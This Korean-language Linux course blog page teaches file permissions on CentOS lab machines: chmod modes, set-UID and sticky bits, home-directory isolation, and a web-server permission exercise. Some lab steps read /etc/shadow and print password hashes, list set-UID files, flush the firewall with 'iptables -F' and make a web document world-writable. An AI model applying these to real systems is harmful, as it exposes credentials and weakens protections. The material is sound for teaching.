drwxr-xr-x 3 mbcuser mbcuser 4096 Mar 18 03:11 /home/mbcuser

drwxr-xr-x 3 sbsuser sbsuser 4096 Mar 18 02:21 /home/sbsuser


# chgrp homepageuser /home/{sbs,kbs,mbc}user

# ls -ld /home/{sbs,kbs,mbc}user

drwxr-xr-x 3 kbsuser homepageuser 4096 Mar 18 03:10 /home/kbsuser

drwxr-xr-x 3 mbcuser homepageuser 4096 Mar 18 03:11 /home/mbcuser

drwxr-xr-x 3 sbsuser homepageuser 4096 Mar 18 02:21 /home/sbsuser


# chmod g= /home/{sbs,kbs,mbc}user

# ls -ld /home/{sbs,kbs,mbc}user

drwx---r-x 3 kbsuser homepageuser 4096 Mar 18 03:10 /home/kbsuser

drwx---r-x 3 mbcuser homepageuser 4096 Mar 18 03:11 /home/mbcuser

drwx---r-x 3 sbsuser homepageuser 4096 Mar 18 02:21 /home/sbsuser


- 홈페이지 접근 테스트

# lynx --dump sbs.com


   Welcome to sbs.com


# lynx --dump kbs.com


   Welcome to kbs.com


# lynx --dump mbc.com


   Welcome to mbc.com


- 각 사용자 디렉토리 접근 테스트

# su - sbsuser

$ id

uid=9015(sbsuser) gid=9015(sbsuser) groups=9015(sbsuser),9018(homepageuser)

$ cd /home/kbsuser

-bash: cd: /home/kbsuser: Permission denied

$ cd /home/mbcuser

-bash: cd: /home/mbcuser: Permission denied

$ exit


# su - kbsuser

$ cd ~sbsuser

-bash: cd: /home/sbsuser: Permission denied

$ cd ~mbcuser

-bash: cd: /home/mbcuser: Permission denied

$ exit


# su - mbcuser

$ LANG=C

$ cd ~sbsuser

-bash: cd: /home/sbsuser: Permission denied

$ cd ~kbsuser

-bash: cd: /home/kbsuser: Permission denied

$ exit


=====================================================================================

=====================================================================================

LAB> Set-UID 권한 테스트


# ls -l /usr/bin/passwd 

-rwsr-xr-x 1 root root 23420  8월 11  2010 /usr/bin/passwd

# ls -l /etc/shadow

-r-------- 1 root root 2599  3월 17 23:07 /etc/shadow

# echo 1234 | passwd --stdin user1

# grep ^user1: /etc/shadow

user1:$6$M9cg4Pii$bCvrCaJE28A6d ...(생략)


# su - user1

# su - user1

$ passwd

Changing password for user user1.

Changing password for user1

(current) UNIX password:   <-- 1234

New UNIX password:         <-- 0000

Retype new UNIX password:  <-- 0000

passwd: all authentication tokens updated successfully.

$ exit


# grep ^user1: /etc/shadow

user1:$6$2uOUVUuA$xsXzjrtJlAOLtBh8

=====================================================================================



=====================================================================================

LAB> Linux Box 의 Set-UID 를 제거하자.


# mkdir bin; cd bin

# install -m 755 /dev/null change_perm.sh

# vi change_perm.sh

-- change_perm.sh --

#!/bin/sh


#filelist=`find / -perm -4000   2>/dev/null`

filelist=$(find / -perm -4000   2>/dev/null)


for i in $filelist

do

   if [ $i = "/bin/su" ]

   then

     continue

   fi  

   # 원래의 권한을 백업한다.

   echo $i >> /root/bin/change_perm.txt


   # set-uid, set-gid 권한을 제거한다.

   chmod -c ug-s $i

done


-- change_perm.sh --



=====================================================================================



==================================================================

LAB> 


$ cat /etc/passwd

 :

 :


1. alias 명령어, 내부명령어, 함수, 외부명령어를 찾는다.


2. 외부명령어 PATH 변수에서 찾는다. 

$ echo $PATH

/usr/kerberos/bin:/usr/local/bin:/bin:/usr/bin:/home/user1/bin


3. /bin 디렉토리에 x 권한이 있는가를 검사한다.

- /bin 디렉토리에 들어갈 수 없어서 프로그램이 종료된 것이다.

$ ls -ld /bin

drwxr-xr-x 2 root root 4096 Sep  4 23:55 /bin


# chmod o= /bin

# ls -ld /bin

drwxr-x--- 2 root root 4096 Sep  4 23:55 /bin

$ cat /etc/passwd

-bash: /bin/cat: Permission denied


# chmod o=rx /bin


4. cat 파일의 x 권한을 검사한다. 

- /bin/cat 파일을 실행할 수 없어서 프로그램이 종료된 것이다.

$ ls -l /bin/cat

-rwxr-xr-x 1 root root 23260 Jul 22  2011 /bin/cat


# ls -ld /bin

drwxr-xr-x 2 root root 4096 Sep  4 23:55 /bin

# ls -l /bin/cat

-rwxr-xr-x 1 root root 23260 Jul 22  2011 /bin/cat

# chmod o= /bin/cat -c

mode of `/bin/cat' changed to 0750 (rwxr-x---)


$ cat /etc/passwd

-bash: /bin/cat: Permission denied


# chmod o=rx /bin/cat


5. /etc 디렉토에 x 권한이 있는가를 검사한다.

- /etc 디렉토리에 들어갈 수 없어서 프로그램이 종료된 것이다.


cat /etc/passwd

cat: /etc/passwd: Permission denied

$ ls -ld /etc

drwxr-xr-x 81 root root 4096 Sep  5 13:00 /etc


- 권한을 변경해보자.

# chmod -c o= /etc 

mode of `/etc' changed to 0750 (rwxr-x---)


- 실행시 에러 발생

$ cat /etc/passwd

cat: /etc/passwd: Permission denied


- 원래대로 복구한다.

# chmod o=rx /etc


6. passwd 파일의 r 권한이 있는가를 검사한다.

- /etc/passwd 파일의 읽기 권한이 없어서 프로그램이 종료된 것이다.


$ ls -l /etc/passwd

-rw-r--r-- 1 root abc 1707 Sep  5 09:32 /etc/passwd


# chmod o-r /etc/passwd -c

mode of `/etc/passwd' changed to 0640 (rw-r-----)


$ cat /etc/passwd

cat: /etc/passwd: Permission denied


==================================================================



'OS > [Linux] CentOS' 카테고리의 다른 글

[CentOS] 9. 환경변수 테스트  (0) 2016.07.10
[CentOS] 8. 권한연습  (0) 2016.07.10
[CentOS] 중간 정리  (0) 2016.07.06
[CentOS] 7-1. 리눅스퍼미션  (0) 2016.07.02
[CentOS] 6. 파일 권한 테스트  (0) 2016.07.02

*** 교육에 필요한 준비물 ***

- 개인 노트북 지참

- 리눅스 배포판 : CentOS 5.11 32bit, 64bit 모두 필요함

- 가상머신 : virtualbox or vmware

- 터미널 프로그램 : xshell, xftp 

- 리눅스 참조 홈페이지 https://www.linux.co.kr/


수업은 CentOS 5.11과 가상머신을 반드시 다운받아 참여해야 합니다. 

가상머신은 무료인 virtualbox를 추천합니다.


1.  x86용 CentOS5.11 iso  다운받는 곳

x86 접속경로 : http://ftp.daumkakao.com/centos/5.11/isos/i386/


다운로드 파일 :

CentOS-5.11-i386-bin-DVD-1of2.iso

CentOS-5.11-i386-bin-DVD-2of2.iso

CentOS-5.11-i386-netinstall.iso


2. x86_64용 CentOS5.11 iso 다운받는 곳

접속경로 : http://ftp.daumkakao.com/centos/5.11/isos/x86_64/


다운로드 파일 :

CentOS-5.11-x86_64-bin-DVD-1of2.iso

CentOS-5.11-x86_64-bin-DVD-2of2.iso

CentOS-5.11-x86_64-netinstall.iso


3. 터미널 프로그램 다운받는 곳

접속경로 : http://www.netsarang.co.kr

다운로드 파일 : xshell, xftp 


4. 가상머신 다운받는 곳

virtualbox : http://virtualbox.org

vmware  : http://vmware.com


5. 오라클 11g XE 다운받는 곳

http://www.oracle.com/technetwork/database/database-technologies/express-edition/downloads/index.html


다운로드 파일 :

Oracle Database Express Edition 11g Release 2 for Linux x64



o 미션#1 : 다양한 OS 설치하기

. CentOS 5.11 x86 (32bit) 설치하기

. CentOS 5.11 x86_64 (64bit) 설치하기

. CentOS 6.x  설치하기

. CentOS 7.x  설치하기

. Ubuntu 설치하기

. Kali Linux 설치하기

. freebsd 설치하기


o 다운로드 사이트

1.CentOS  미러사이트

http://ftp.kaist.ac.kr/CentOS/

http://ftp.daumkakao.com/centos/


2.Ubuntu 

http://www.ubuntu.com/


3. Kali Linux

https://www.kali.org/


4. Kali  Linux 한글화 

- 후크선장 블로그 참고

http://hook.tistory.com/m/post


5. FreeBSD  

https://www.freebsd.org/


 o 디스크 관리

학습목표 : 파일시스템에 대한 이해와 디스크관련 명령어들을  통해 디스크를 관리,추가,삭제할 수 있다.

- 파일시스템의 이해

- 디스크 명령어 실습


o 사용자 관리

학습목표 : 사용자와 그룹을 이해하고 사용자와 그룹관련 명령어들을 사용할 수 있다.

- 사용자와 그룹의 이해

- 사용자와 그룹 명령어 실습


2일차 수업내용

o 패키지 관리

학습목표 : 프로그램 설치 방법을 이해하고 패키지관련  명령어들을 사용할 수 있다.

- 프로그램 설치 방법의 이해

- 패키지 명령어 실습


o 프로세스 관리

학습목표 :  프로세스를 이해하고 프로세스 관련 명령어들을 사용할 수 있다.

- 프로세스의 이해

- 프로세스 명령어 실습


o 데몬 관리

학습목표 :  데몬을 이해하고 데몬 관련 명령어들을 사용할 수 있다.

- 데몬의 이해

- 데몬 명령어 실습


o 네트워크 관리

학습목표 :  네트워크를 이해하고 네트워크 관련 명령어들을 사용할 수 있다.

- 리눅스 네트워크의 이해

- 네트워크 명령어 실습


#############################################

## 주제 : 퍼미션(Permission)               ##

##                                         ##

## Written by K.S.W      2015071601        ##

## boaniyagi@naver.com                     ##

## date : 2015.7.16                        ##

#############################################


여러사람이 사용하는 멀티유저 운영체제인 리눅스보안상의 이유로 각 파일마다 접근권한이 설정되어 있다.

이를 퍼미션이라고 한다.

예를들어 다른 사람이 자신의 파일을 읽을 수 있도록 허용할 수도 있고 거부할 수도 있다.

또한 자신의 파일에 다른 내용을 기록하게 허용할 수도 있고 거부할 수도 있다.

이들 권한들을 이용하여 각 파일과 디렉토리들을 다른 사람들과 공유하거나 아니면 개인적인 목적으로 사용할 수 있다. 

리눅스에서 사용자는 기본적으로 최소 하나의 그룹에 포함되어 있고 하나 이상의 그룹에 속할 수도 있다.

         

권한을 연습할 수 있는 사이트

http://permissions-calculator.org


파일(디렉토리) 생성시 디폴트로 설정되는 권한

 - 파일 권한은 umask 에 기본 설정된 값에 따라서 권한이 만들어진다.

 - 명령어 : umask (내부명령어)

 - default umask setting : /etc/bashrc


퍼미션 변경 명령어 

 - 명령어 : chmod (외부명령어)

 - 디렉토리 위치 : /bin

 - 패키지 : coreutils 


퍼미션 변경 방법 

 - 문자를 이용해서 변경한다.

 - 숫자를 이용해서 변경한다.

 - symbolic mode(심볼릭 모드)를 이용해서 변경(문자를 이용) 한다.

 - octal mode(8진수 모드)를 이용해서 변경(숫자를 이용) 한다.



퍼미션의 3가지 구분

 1. 소유자 (owner, user)

 2. 그룹 (group)

 3. 다른사용자 (other)


리눅스의 퍼미션

 - 퍼미션은 크게 아래처럼 읽기권한, 쓰기권한, 실행권한, 특수권한으로 되어있다. 


3개씩 끊어서 읽는다. 

각 문자들은 rwx 의 순서로 온다. (e.g. wxr(x), rxw(x), xrw(x), only rwx(o))

특수 권한은 x 자리에만 올 수 있다.


     s    s    t <-- 특수 권한

  rwx rwx rwx <-- 일반 권한

 -rw- r-- r-- 1 root root 1826 Nov 18 15:07 /etc/passwd

  ~~~   ~~~

  |  ~~~ |

  |  |  other

  |  |  

  |  group

  |

  user (owner)



r(Read)    : 읽기 권한

w(Write)   : 쓰기 권한 

x(eXecute) : 실행 권한 

s(Set-uid) user  부분 : 특수 권한 (셋유저아이디 or 셋유아이디)

s(Set-gid) group 부분 : 특수 권한 (셋그룹아이디 or 셋지아이디)

t(stickybiT) other 부분 : 특수 권한 (스티키비트)


+---+-----------+-----------+-----------+

|   |  Set-UID  |  Set-GID  |Sticky-Bit |

+   +---+---+---+---+---+---+---+---+---+

|   |     s     |     s     |     t     |  <-- 특수 권한

+   +---+---+---+---+---+---+---+---+---+

|   | r | w | s | r | w | s | r | w | t |

+   +---+---+---+---+---+---+---+---+---+

|   |    user   |   group   |   other   |

+---+---+---+---+---+---+---+---+---+---+

| - | r | w | x | r | w | x | r | w | x |  <-- 일반 권한

+---+---+---+---+---+---+---+---+---+---+




octal mode를 이용한 일반 권한의 퍼미션 값

+---+---+---+---+

|   | 4 | 2 | 1 |

+---+---+---+---+

| - | r | w | x |

+---+---+---+---+

| 0 | 0 | 0 | 0 |

+---+---+---+---+

| 1 | 0 | 0 | 1 |

+---+---+---+---+

| 2 | 0 | 1 | 0 |

+---+---+---+---+

| 3 | 0 | 1 | 1 |

+---+---+---+---+

| 4 | 1 | 0 | 0 |

+---+---+---+---+

| 5 | 1 | 0 | 1 |

+---+---+---+---+

| 6 | 1 | 1 | 0 |

+---+---+---+---+

| 7 | 1 | 1 | 1 |

+---+---+---+---+


octal mode를 이용한 특수 권한의 퍼미션 값

    |- 특수권한-|- user    -|- group   -|- other   -|

+---+---+---+---+---+---+---+---+---+---+---+---+---+

|   | 4 | 2 | 1 | 4 | 2 | 1 | 4 | 2 | 1 | 4 | 2 | 1 |  

+---+---+---+---+---+---+---+---+---+---+---+---+---+

|   | s | s | t | r | w | x | r | w | x | r | w | x |  

+---+---+---+---+---+---+---+---+---+---+---+---+---+

| 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | <-- rwxrwxrwx

+---+---+---+---+---+---+---+---+---+---+---+---+---+

|   |   |   |   | r | w | x | r | w | x | r | w | x |  

+---+---+---+---+---+---+---+---+---+---+---+---+---+

| 1 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | <-- t   sticky-bit 

+---+---+---+---+---+---+---+---+---+---+---+---+---+

|   |   |   |   | r | w | x | r | w | x | r | w | t |  

+---+---+---+---+---+---+---+---+---+---+---+---+---+

| 2 | 0 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | <-- s   set-gid 

+---+---+---+---+---+---+---+---+---+---+---+---+---+

|   |   |   |   | r | w | x | r | w | s | r | w | x |  

+---+---+---+---+---+---+---+---+---+---+---+---+---+

| 3 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | <-- st  set-gid + sticky-bit  

+---+---+---+---+---+---+---+---+---+---+---+---+---+

|   |   |   |   | r | w | x | r | w | s | r | w | t | 

+---+---+---+---+---+---+---+---+---+---+---+---+---+

| 4 | 1 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | <-- s   set-uid   

+---+---+---+---+---+---+---+---+---+---+---+---+---+

|   |   |   |   | r | w | s | r | w | x | r | w | x | 

+---+---+---+---+---+---+---+---+---+---+---+---+---+

| 5 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | <-- st  set-uid + sticky-bit

+---+---+---+---+---+---+---+---+---+---+---+---+---+

|   |   |   |   | r | w | s | r | w | x | r | w | t | 

+---+---+---+---+---+---+---+---+---+---+---+---+---+

| 6 | 1 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | <-- ss  set-uid + set-gid

+---+---+---+---+---+---+---+---+---+---+---+---+---+

|   |   |   |   | r | w | s | r | w | s | r | w | x | 

+---+---+---+---+---+---+---+---+---+---+---+---+---+

| 7 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | <-- sst set-uid + set-gid + sticky-bit

+---+---+---+---+---+---+---+---+---+---+---+---+---+

|   |   |   |   | r | w | s | r | w | s | r | w | t | 

+---+---+---+---+---+---+---+---+---+---+---+---+---+

 


파일과 디렉토리에 대한 퍼미션의 의미

- 디렉토리가 가지고 있는 내용 : 파일명, 해당 파일에 대한 아이노드번호

--------------------------------------------+------------------------------------------------

                   파일                           |          디렉토리 (x 권한을 같이 사용)

--------------------------------------------+------------------------------------------------

r  파일의 내용을 볼 수 있는 권한          |  디렉토리의 파일 목록을 볼 수 있는 권한

--------------------------------------------+------------------------------------------------

w  파일의 내용을 수정할 수 있는 권한   |  디렉토리에서 파일을 생성/삭제할 수 있는 권한

--------------------------------------------+------------------------------------------------

x  파일을 실행할 수 있는 권한             |  디렉토리에 접근할 수 있는 권한  

                                                    |  (cd 로 이동, cat /etc/passwd )

--------------------------------------------+------------------------------------------------

setUID  실행중에 소유자의 권한으로 실행  |                   x 

--------------------------------------------+------------------------------------------------

setGID  실행중에 그룹의 권한으로 실행 |   파일을 생성시 그룹의 권한으로 생성

--------------------------------------------+------------------------------------------------

sticky-bit               x                       |   모두 생성하지만 지울땐 소유자가 만든 파일만 삭제 

                                                    |   (공용 디렉토리에서 사용한다)

--------------------------------------------+------------------------------------------------


x 권한이 있는 파일의 종류로는 실행파일,디렉토리 두 가지 파일이다.


실행파일의 두 가지 종류

- 바이너리 파일(컴파일과정을 거친 파일)  

일반적으로 바이너리 파일은 root or  일반유저는 x 권한만 있으면 실행된다. 

- 쉘스크립트 파일 (일반 텍스트 문서지만 실행 형식을 갖춘 파일)     

root : x 권한만 있어도 된다. 일반유저 : rx 모두 있어야 한다.

 


o 파일의 권한을 변경하는 방법


심볼릭 모드를 이용해서 변경하는 방법의 예

- 문자를 이용해서 퍼미션을 변경한다.

- 허용문자 : augorwxst,=-+


-----------------------------------------------

ex) chmod 를 이용한 권한 연습

!!! -c 옵션 : 파일의 권한이 변경되면 권한을 출력한다.

!!! -v 옵션 : 파일의 권한이 변경되지 않아도  권한을 출력한다.


# touch a.txt ; chmod -v a-rwx a.txt

# ls -l a.txt

---------- 1 root root 0 Oct 31 17:28 a.txt


# chmod -c u+rwx,go+rx a.txt  -rwxr-xr-x

# chmod -c u+w,a+rx a.txt     -rwxr-xr-x

# chmod -c a+rwx,go-w a.txt   -rwxr-xr-x

# chmod -c a=rwx,og-w a.txt   -rwxr-xr-x

-rwxr-xr-x   


# chmod -c go= a.txt    -rwx------

# chmod -c go-rx a.txt  -rwx------

# chmod go-r,go-x a.txt

# chmod g-r,o-r,g-x,o-x a.txt

-rwx------   


# chmod -c u-x a.txt

-rw-------   


# chmod -c go+r a.txt

-rw-r--r--   


# mkdir testdir ; ls -ld testdir

drwxr-xr-x 2 root root 4096 Apr 17 17:56 testdir


# chmod -c a= testdir 

mode of `testdir' changed to 0000 (---------)


# chmod -c u+rw,go+x testdir 

drw---x--x 2 root root 4096 Apr 17 17:56 testdir


# chmod -c u=x,go-x testdir 

d--x------ 2 root root 4096 Apr 17 17:56 testdir


d--------- 2 root root 4096 Apr 17 17:56 testdir



-----------------------------------------------


8진수(octal) 모드를 이용해서 변경하는 방법의 예

- 숫자를 이용해서 퍼미션을 변경한다.

- 허용숫자 : 0 ~ 7

  421 421

0 --- 000 

1 --x 001

2 -w- 010

3 -wx 011

4 r-- 100

5 r-x 101

6 rw- 110

7 rwx 111


-----------------------------------------------

ex)

chmod 000 a.txt

---------- 1 root root 0 Oct 31 17:28 a.txt


-rwxr-xr-x   chmod -c 755 a.txt

-rwx------   chmod -c 700 a.txt

-rw-------   chmod -c 600 a.txt 

-rw-r--r--   chmod -c 644 a.txt

---x--x--x   chmod -c 111 a.txt


--wx-wx---   chmod -c 330 a.txt

--wx-w---x   chmod -c 321 a.txt

---------x   chmod -c 001 a.txt

-r-xr-x--x   chmod -c 551 a.txt

--------------------------


8진수(octal) 모드를 이용해서 변경하는 방법의 예2

- 숫자를 이용해서 퍼미션을 변경한다.

- 허용숫자 : 0 ~ 7

  421     <-- 특수권한

  421 421

0 --- 000 

1 --x 001    

2 -w- 010

3 -wx 011

4 r-- 100

5 r-x 101

6 rw- 110

7 rwx 111



- 특수권한이 들어간 예

- 의미가 없는 권한들..

-rwsrwsrwt   chmod -c 7777 a.txt

-rwxrwsrwT   chmod -c 3776 a.txt

-r-Sr-s--t   chmod -c 7451 a.txt

---s-wS--T   chmod -c 7120 a.txt

-r-Sr-s--t   chmod -c 7451 a.txt

---------------------



많이 사용되는 실행파일 권한들

- 특수권한이 없는 경우

-rwxr-xr-x   

-rwxr-x--x   <-- 보안상 r 권한은 제거

-rwxr-x---

-rwx------

-rwx--x---


- 특수권한이 있는 경우

find / \( -perm -4000 -o -perm -2000 \) -ls 2> /dev/null


많이 사용되는 디렉토리 권한들

drwxr-xr-x   

drwxr-x--x   <-- 보안상 r 권한은 제거

drwxr-x---

drwx--x--x

drwx--x---

drwx------


많이 사용되는 파일들의 권한들 

 - 실행파일과 디렉토리가 아닌 모든 파일들에 해당

 -rw-r--r--   

 -rw-r-----

 -rw-------


*** 공통점 : 소유자는 user 부분의 권한을 모두 가진다는 것이다. ***


===========================================================================================================

LAB> Linux Box 에 기본적으로 설정된 퍼미션을 알아보자


-- LAB 순서 --

 1. /etc/shadow 파일 내용 보기

  - 관리자로 보기

  - 일반유저로 보기

 2. /root 디렉토리로 이동하기

  - 관리자로 이동

  - 일반유저로 이동


-- LAB 순서 --

 1. /etc/shadow 파일 내용 보기

  - /etc/shadow 파일 내용을 관리자(root) 와 일반유저(linux)가 명령어 cat head tail 로 살펴보자.


  - 사용자를 확인한다.

  - uid (UID, 유저아이디) : 시스템에서 OS가 사용자에게 부여한 번호 

# id

uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=root:system_r:unconfined_t:s0-s0:c0.c1023


- 권한을 확인한다.

# ls -l /bin/cat

-rwxr-xr-x 1 root root 20776 Mar 21  2012 /bin/cat

# ls -l /etc/shadow

-r-------- 1 root root 1222 Nov 18 13:18 /etc/shadow

# ls -l /usr/bin/head 

-rwxr-xr-x 1 root root 31788 Jul 22  2011 /usr/bin/head

# ls -l /usr/bin/tail

-rwxr-xr-x 1 root root 42956 Jul 22  2011 /usr/bin/tail


- 파일의 내용을 확인한다.

# cat /etc/shadow

root:$1$gmWxQmiB$CvtOiLu.oflCfdDQQLXdA1:15955:0:99999:7:::

bin:*:15955:0:99999:7:::

daemon:*:15955:0:99999:7:::

  :

  :


# head -2 /etc/shadow

root:$1$gmWxQmiB$CvtOiLu.oflCfdDQQLXdA1:15955:0:99999:7:::

bin:*:15955:0:99999:7:::

# tail -2 /etc/shadow

test3:!!:16268:0:99999:7:::

linux:!!:16263:0:99999:7:::


- 일반유저 linux 에서 파일의 내용을 확인한다.

# useradd linux

# su - linux


- 사용자를 확인한다.

$ id

uid=503(linux) gid=503(linux) groups=503(linux) context=root:system_r:unconfined_t:s0-s0:c0.c1023

$ cat /etc/shadow

cat: /etc/shadow: Permission denied

$ head /etc/shadow

head: cannot open `/etc/shadow' for reading: Permission denied

$ tail /etc/shadow

tail: cannot open `/etc/shadow' for reading: Permission denied

$ more  /etc/shadow

/etc/shadow: Permission denied

$ exit


2. /root 디렉토리로 이동하기

- /root 디렉토리로 관리자(root) 와 일반유저(linux)가 명령어 cd 로 이동해보자.


- 권한을 확인한다.

# ls -ld /root

drwxr-x--- 8 root root 4096 Jul 13 03:07 /root


# ls -ld /tmp

drwxrwxrwt 7 root root 1024 Oct 23 16:47 /tmp


- 디렉토리로 이동한다.

# cd /tmp     <-- 이동 O

# cd /root    <-- 이동 O

# su - linux


- 사용자를 확인한다.

$ id

uid=503(linux) gid=503(linux) groups=503(linux) context=root:system_r:unconfined_t:s0-s0:c0.c1023


- 디렉토리로 이동한다.

$ ls -ld /root

drwxr-x--- 8 root root 4096 Jul 13 02:56 /root


- 일반유저의 권한이 x(이동) 권한이 있으므로 /tmp 디렉토리에 들어갈 수 있다.

$ cd /tmp   

$ pwd


- 일반유저의 권한이 x(이동) 권한이 없으므로 /root 디렉토리에 들어갈 수 없다.

$ cd /root

-bash: cd: /root: Permission denied



- 일반 유저는 /etc/shadow(-r-------- 1 root root) 파일을 볼 수 없다.

$ cat /etc/shadow

cat: /etc/shadow: Permission denied


$ ls -ld /

drwxr-xr-x 23 root root 4096 Oct 20 10:16 /

$ ls -ld /bin

drwxr-xr-x 2 root root 4096 Oct 17 12:17 /bin

$ ls -l /bin/cat

-rwxr-xr-x 1 root root 23260 Jul 22  2011 /bin/cat

$ ls -ld /etc

drwxr-xr-x 82 root root 4096 Oct 23 14:37 /etc

$ ls -l /etc/shadow

-r-------- 1 root root 970 Oct 20 11:39 /etc/shadow

$ ls -l /etc/passwd

-rw-r--r-- 1 root root 1595 Oct 20 11:39 /etc/passwd

$ cat /etc/passwd

root:x:0:0:root:/root:/bin/bash

  :

  :

$ cat /etc/shadow

cat: /etc/shadow: Permission denied


$ exit


- /bin 디렉토리의 권한을 변경해보고 cat /etc/shadow 파일을 실행해보자.

- drwxr-xr-x -> drwxr-x---

# chmod o= /bin or chmod 750 /bin

drwxr-x--- 2 root root 4096 Apr 17 16:05 /bin


# su - linux

su: /bin/bash: Permission denied


# chmod 755 /bin or chmod o+rx or chmod o=rx

drwxr-xr-x 2 root root 4096 Apr 17 16:05 /bin


- /bin/cat 파일의 other 부분의 실행부분의 권한을 빼면 

# chmod 750 /bin/cat or chmod o= /bin/cat or chmod o-rx /bin/cat

-rwxr-x--- 1 root root 23260 Mar 21  2012 /bin/cat

# su - linux


- cat 명령어의 실행권한이 없으므로 Permission denied 가 된다.

$ cat /etc/passwd 

-bash: /bin/cat: Permission denied


$ cat /etc/shadow

-bash: /bin/cat: Permission denied




- /usr/local/bin 디렉토리는 일반유저가 들어갈 수 있는 권한이 있다.

$ cd /usr/local/bin

$ pwd

/usr/local/bin


$ ls -ld /usr

drwxr-xr-x 15 root root 4096 Oct 17 10:51 /usr

         ~

$ ls -ld /usr/local

drwxr-xr-x 11 root root 4096 Oct 17 10:50 /usr/local

         ~

$ ls -ld /usr/local/bin

drwxr-xr-x 2 root root 4096 May 11  2011 /usr/local/bin

         ~



- /var/spool/cron 디렉토리는 일반유저가 들어갈 수 있는 권한이 없다.

$ cd /var/spool/cron

-bash: cd: /var/spool/cron/: Permission denied


$ ls -ld /var

drwxr-xr-x 22 root root 4096 Oct 17 11:37 /var

         ~

$ ls -ld /var/spool/

drwxr-xr-x 10 root root 4096 Oct 17 10:52 /var/spool

         ~

$ ls -ld /var/spool/cron

drwx------ 2 root root 4096 Feb 23  2012 /var/spool/cron

         ~


- /tmp 디렉토리의 파일 목록을 확인할 수 있다.

$ ls /tmp

lost+found  mc-root  TEST


$ ls -l /bin/ls

-rwxr-xr-x 1 root root 95116 Jul 22  2011 /bin/ls

         ~

$ ls -ld /tmp

drwxrwxrwt 7 root root 1024 Oct 23 19:11 /tmp

         ~


$ df

Filesystem           1K-blocks      Used Available Use% Mounted on

/dev/sda1              2847720    258048   2442680  10% /

/dev/sda3               388693     10307    358305   3% /home

/dev/sda6               956980    136728    770856  16% /var

/dev/sda7               482214     10552    446763   3% /tmp

/dev/sda5              1898468   1274028    526448  71% /usr

/dev/sda2               101105     11596     84288  13% /boot

tmpfs                   127492         0    127492   0% /dev/shm


$ ls -l /bin/df

-rwxr-xr-x 1 root root 44744 Jul 22  2011 /bin/df



- 디렉토리의 r 권한 테스트

# ls -ld /tmp

drwxrwxrwt 7 root root 1024 Oct 23 19:11 /tmp

       ~

$ ls /tmp

lost+found  mc-root  TEST


# chmod o-r /tmp 

# ls -ld /tmp

drwxrwx-wt 7 root root 1024 Oct 23 19:11 /tmp

       ~

$ ls /tmp

ls: /tmp: Permission denied


- 쓰기 권한 연습


$ cd

$ pwd

/home/linux

$ ls -ld 

drwx------ 3 linux linux 1024 Oct 23 19:31 .

  ~

$ touch a.txt

$ ls -l a.txt 

-rw-rw-r-- 1 linux linux 0 Oct 23 19:31 a.txt

$ echo 1234 > a.txt

$ ls -l a.txt 

-rw-rw-r-- 1 linux linux 5 Oct 23 19:31 a.txt

$ cat a.txt 

1234


- /etc/passwd 파일을 수정할 수 없다.

$ echo 1234 >> /etc/passwd

-bash: /etc/passwd: Permission denied

$ ls -ld /etc

drwxr-xr-x 82 root root 4096 Oct 23 19:11 /etc

        ~

$ ls -l /etc/passwd

-rw-r--r-- 1 root root 1595 Oct 20 11:39 /etc/passwd

        ~




===========================================================================================================



===========================================================================================================

LAB> 웹서버 문서의 권한을 테스트해보자.


o 웹서버의 기본 문서를 읽기권한이 있으므로 클라이언트에서 볼 수 있다.

- yum 을 이용해서 httpd (웹서버 패키지)를 설치한다.

# yum -y install httpd


- 웹서버를 실행한다.

# /etc/init.d/httpd start


- httpd 프로세스의 사용자를 확인한다.

# ps aux | grep httpd

root     14556  0.0  1.1  10116  2936 ?        Ss   20:31   0:00 /usr/sbin/httpd -k start

apache   14557  0.0  0.8  10116  2060 ?        S    20:31   0:00 /usr/sbin/httpd -k start

apache   14558  0.0  0.8  10116  2060 ?        S    20:31   0:00 /usr/sbin/httpd -k start

  :

  :



- 웹서버의 기본 디렉토리로 이동한다.

# cd /var/www/html


- default 권한을 살펴본다.

# umask

0022


- 웹문서를 생성한다.

# vi index.html

-- index.html --

Welcome to My Web Server!!!

-- index.html --


# ls -l index.html

-rw-r--r-- 1 root root 28 Apr 17 20:28 index.html

      ~~


# ifconfig eth1

eth1      Link encap:Ethernet  HWaddr 08:00:27:AD:8E:F4  

          inet addr:192.168.56.101  Bcast:192.168.56.255  Mask:255.255.255.0


- 방화벽룰을 해제한다.

# iptables -F


브라우저로 접속 : httpd://192.168.56.101


- 일반 유저가 파일의 내용을 수정!!!

# su - linux

$ id

uid=500(linux) gid=500(linux) groups=500(linux)

$ cd /var/www/html


$ ls -nd

drwxr-xr-x 2 0 0 4096 Apr 17 20:28 .

             ~ ~

$ ls -ld 

drwxr-xr-x 2 root root 4096 Oct 23 19:46 .

        ~ <-- root 사용자 아닌 모든 유저는 파일을 생성할 수 없다.

$ ls -l

total 8

-rw-r--r-- 1 root root 19 Oct 23 19:46 index.html

        ~ <-- root 사용자 아닌 모든 유저는 파일을 수정할 수 없다.


$ cat index.html     <-- 파일의 내용을 읽을 수 있다.

Hello My Server!!!

$ vi index.html      <-- 파일의 내용을 수정할 수 없다.

         

$ touch index2.html  <-- 파일을 생성할 수 없다.

touch: cannot touch `index2.html': Permission denied

$ exit


# cd /var/www/html

# ls -l index.html 

-rw-r--r-- 1 root root 19 Oct 23 19:46 index.html

# chmod o+w index.html 

# ls -l

total 8

-rw-r--rw- 1 root root 19 Oct 23 19:46 index.html

        ~

# su - linux

$ cd /var/www/html

$ vi index.html       <-- 파일의 내용을 수정할 수 있다.


- 디렉토리가 쓰기 권한이 있고 파일이 쓰기 권한이 없을 때도 변경할 수 있는가 ?

# chmod o+w .

# ls -ld 

drwxr-xrwx 2 root root 4096 Oct 23 19:46 .


# chmod 644 index.html 

# ls -l

total 8

